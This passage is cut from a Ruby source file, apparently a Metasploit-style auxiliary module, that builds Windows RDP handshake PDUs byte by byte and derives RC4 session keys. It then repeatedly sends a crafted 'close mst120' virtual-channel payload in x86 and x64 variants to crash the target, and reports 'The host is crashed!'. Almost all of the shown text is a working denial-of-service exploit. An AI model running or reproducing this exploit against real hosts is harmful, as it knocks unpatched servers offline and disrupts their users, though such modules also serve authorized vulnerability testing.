  "\x1c\x00" + # lengthCapability: 28
  "\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" +
  "\x01\x00\x00\x1a\x01\x00\x00\x00" +
  "\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET
  "\x58\x00" + # lengthCapability: 88
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" +
  "\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" +
  "\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" +
  "\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" +
  "\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" +
  "\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x0a\x00" + # capabilitySetType: 10 - ??
  "\x08\x00" + # lengthCapability: 8
  "\x06\x00\x00\x00" +
  "\x07\x00" + # capabilitySetType: 7- TSWINDOWACTIVATION_CAPABILITYSET
  "\x0c\x00" + # lengthCapability: 12
  "\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x05\x00" + # capabilitySetType: 5- TS_CONTROL_CAPABILITYSET
  "\x0c\x00" + # lengthCapability: 12
  "\x00\x00\x00\x00\x02\x00\x02\x00" +
  "\x08\x00" + # capabilitySetType: 8- TS_POINTER_CAPABILITYSET
  "\x0a\x00" + # lengthCapability: 10
  "\x01\x00\x14\x00\x15\x00" +
  "\x09\x00" + # capabilitySetType: 9- TS_SHARE_CAPABILITYSET
  "\x08\x00" + # lengthCapability: 8
  "\x00\x00\x00\x00" +
  "\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET
  "\x58\x00" + # lengthCapability: 88
  "\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" +
  "\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00" +
  "\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET
  "\x08\x00" + # lengthCapability: 8
  "\x01\x00\x00\x00" +
  "\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET
  "\x08\x00" + # lengthCapability: 8
  "\x01\x00\x00\x00" +
  "\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET
  "\x34\x00" + # lengthCapability: 52
  "\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" +
  "\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" +
  "\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" +
  "\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET
  "\x08\x00" + # lengthCapability: 8
  "\x01\x00\x00\x00" +
  "\x11\x00" + # capabilitySetType: ??
  "\x0c\x00" + # lengthCapability: 12
  "\x01\x00\x00\x00\x00\x28\x64\x00" +
  "\x14\x00" + # capabilitySetType: ??
  "\x0c\x00" + # lengthCapability: 12
  "\x01\x00\x00\x00\x00\x00\x00\x00" +
  "\x15\x00" + # capabilitySetType: ??
  "\x0c\x00" + # lengthCapability: 12
  "\x02\x00\x00\x00\x00\x0a\x00\x01" +
  "\x1a\x00" + # capabilitySetType: ??
  "\x08\x00" + # lengthCapability: 8
  "\xaf\x94\x00\x00" +
  "\x1c\x00" + # capabilitySetType: ??
  "\x0c\x00" + # lengthCapability: 12
  "\x12\x00\x00\x00\x00\x00\x00\x00" +
  "\x1b\x00" + # capabilitySetType: ??
  "\x06\x00" + # lengthCapability: 6
  "\x01\x00" +
  "\x1e\x00" + # capabilitySetType: ??
  "\x08\x00" + # lengthCapability: 8
  "\x01\x00\x00\x00" +
  "\x18\x00" + # capabilitySetType: ??
  "\x0b\x00" + # lengthCapability: 11
  "\x02\x00\x00\x00\x03\x0c\x00" +
  "\x1d\x00" + # capabilitySetType: ??
  "\x5f\x00" + # lengthCapability: 95
  "\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" +
  "\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" +
  "\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" +
  "\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" +
  "\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" +
  "\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"
  
  ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU
  return(rdp_build_share_control_header(0x13, pdu))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992
  ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 /2.2.14.1
  def pdu_client_synchronize(target_user = 0)
  pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC
  [target_user].pack("S<") # targetUser, 16 bit, unsigned.
  
  ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE
  data_header = rdp_build_share_data_header(0x1f, pdu)
  
  ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
  return(rdp_build_share_control_header(0x17, data_header))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135
  ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15
  def pdu_client_control_cooperate()
  pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE
  "\x00\x00" + # grantId: 0
  "\x00\x00\x00\x00" # controlId: 0
  
  ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
  data_header = rdp_build_share_data_header(0x14, pdu)
  
  ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
  return(rdp_build_share_control_header(0x17, data_header))
  end
  
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35
  ## Control Request - TC_CONTROL_PDU 2.2.1.16
  def pdu_client_control_request()
  
  pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL
  "\x00\x00" + # grantId: 0
  "\x00\x00\x00\x00" # controlId: 0
  
  ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
  data_header = rdp_build_share_data_header(0x14, pdu)
  
  ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
  return(rdp_build_share_control_header(0x17, data_header))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396
  ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
  def pdu_client_input_event_sychronize()
  pdu = "\x01\x00" + # numEvents: 1
  "\x00\x00" + # pad2Octets
  "\x00\x00\x00\x00" + # eventTime
  "\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC
  
  ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5
  "\x00\x00" + # pad2Octets
  "\x00\x00\x00\x00" # toggleFlags
  
  ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT
  data_header = rdp_build_share_data_header(0x1c, pdu)
  
  ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
  return(rdp_build_share_control_header(0x17, data_header))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9
  ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
  def pdu_client_font_list()
  pdu = "\x00\x00" + # numberFonts: 0
  "\x00\x00" + # totalNumberFonts: 0
  "\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)
  "\x32\x00" # entrySize: 50
  
  ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST
  data_header = rdp_build_share_data_header(0x27, pdu)
  
  ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
  return(rdp_build_share_control_header(0x17, data_header))
  end
  
  # ------------------------------------------------------------------------- #
  
  def crash_test(rc4enckey, hmackey)
  begin
  received = ""
  for i in 0..5
  received += rdp_recv()
  end
  rescue RdpCommunicationError
  # we don't care
  end
  
  vprint_status("Sending DoS payload")
  found = false
  for j in 0..15
  ## x86_payload:
  rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
  
  ## x64_payload:
  rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
  end
  end
  
  def produce_dos()
  
  unless(rdp_connection_initiation())
  vprint_status("Could not connect to RDP.")
  return(false)
  end
  
  vprint_status("Sending initial client data")
  received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))
  
  rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)
  
  vprint_status("Sending erect domain request")
  rdp_send(pdu_erect_domain_request())
  
  vprint_status("Sending attach user request")
  received = rdp_sendrecv(pdu_attach_user_request())
  
  user1 = received[9, 2].unpack("n").first
  
  [1003, 1004, 1005, 1006, 1007].each do | chan |
  rdp_sendrecv(pdu_channel_request(user1, chan))
  end
  
  ## 5.3.4 Client Random Value
  client_rand = ''
  32.times { client_rand << rand(0..255) }
  rcran = bytes_to_bignum(client_rand)
  
  vprint_status("Sending security exchange PDU")
  rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))
  
  ## We aren't decrypting anything at this point. Leave the variables here
  ## to make it easier to understand in the future.
  rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)
  
  vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
  vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
  vprint_status("HMAC_KEY:#{bin_to_hex(hmackey)}")
  vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")
  
  rc4enckey = RC4.new(rc4encstart)
  
  vprint_status("Sending client info PDU") # TODO
  pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
  received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true))
  
  vprint_status("Received License packet")
  rdp_recv()
  
  vprint_status("Sending client confirm active PDU")
  rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))
  
  vprint_status("Sending client synchronize PDU")
  rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))
  
  vprint_status("Sending client control cooperate PDU")
  rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))
  
  vprint_status("Sending client control request control PDU")
  rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))
  
  vprint_status("Sending client input sychronize PDU")
  rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))
  
  vprint_status("Sending client font list PDU")
  rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))
  
  vprint_status("Sending close mst120 PDU")
  crash_test(rc4enckey, hmackey)
  
  vprint_status("Sending client disconnection PDU")
  rdp_send(rdp_build_data_tpdu("\x21\x80"))
  
  return(true)
  end
  
  # ------------------------------------------------------------------------- #
  
  def run_host(ip)
  ## Allow the run command to call the check command.
  begin
  if(open_connection())
  status = produce_dos()
  end
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
  bt = e.backtrace.join("\n")
  vprint_error("Unexpected error: #{e.message}")
  vprint_line(bt)
  elog("#{e.message}\n#{bt}")
  rescue RdpCommunicationError => e
  vprint_error("Error communicating RDP protocol.")
  status = Exploit::CheckCode::Unknown
  rescue Errno::ECONNRESET => e# NLA?
  vprint_error("Connection reset, possible NLA is enabled.")
  rescue => e
  bt = e.backtrace.join("\n")
  vprint_error("Unexpected error: #{e.message}")
  vprint_line(bt)
  elog("#{e.message}\n#{bt}")
  ensure
  
  if(status == true)
  sleep(1)
  unless(open_connection())
  print_good("The host is crashed!")
  else
  print_bad("The DoS has been sent but the host is already connected!")
  end
  end
  
  disconnect()
  end
  end
  
  end